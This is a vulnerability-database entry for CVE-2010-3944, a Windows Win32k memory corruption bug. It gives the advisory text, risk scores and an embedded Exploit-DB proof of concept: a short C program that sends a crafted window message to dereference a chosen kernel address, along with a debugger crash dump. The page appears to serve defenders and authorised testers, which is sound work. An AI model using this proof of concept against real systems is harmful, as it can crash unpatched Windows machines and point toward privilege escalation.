CVE-2010-3944

high
Published 2010-12-16 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.2

Description

win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2008 R2 and Windows 7 does not properly validate user-mode input, which allows local users to gain privileges via a crafted application, aka "Win32k Memory Corruption Vulnerability."

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-15758 dos windows_x86 verified text ยท 1 KB
Stefan LE BERRE ยท 2010-12-17

Microsoft Windows - Win32k Pointer Dereferencement (PoC) (MS10-098)

text exploit Source: Exploit-DB
/*************************************************************************************
* MS10-098
* CVE-2010-3944
* 
* Microsoft Windows Win32k pointer dereferencement
* 
* --------------------
* Affected Software
* ------------------------
* Microsoft Windows 7 / 2008
* 
* 
* --------------------
* Consequences
* -----------------------
* An unprivileged user may be able to cause a bugcheck, or possibly execute
* arbitrary code by CSRSS.EXE.
* 
* 
* 
* Credits : Stefan LE BERRE (s.leberre@sysdream.com)
*           Ludo t0ka7a
* 
* WebSites : http://www.sysdream.com/
*            http://ghostsinthestack.org/
*            http://infond.blogspot.com/
*            http://twitter.com/hackinparis
* 
* kd> r
* eax=00013370 ebx=0000000d ecx=00000000 edx=fea0069c esi=fea00618 edi=fea00618
* eip=8d72af90 esp=95b54a98 ebp=95b54b00 iopl=0         nv up ei ng nz na pe nc
* cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
* win32k!xxxRealDefWindowProc+0xf6:
* 8d72af90 c60000          mov     byte ptr [eax],0           ds:0023:00013370=??
*
*************************************************************************************/

#include <stdio.h> 
#include <windows.h> 
#include <Winuser.h>


int main(int argc, char *argv[]) 
{ 
    SendMessage((HWND) 16,(UINT) 13,0x80000000,0x00013370); // 0x13370 is the deref and 16 is the window handle of #32769
	return 0;
}

OS impact

windows Windows Affected 2 releases
VersionStatusFixed in
r2 Affected โ€”
- Affected โ€”

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.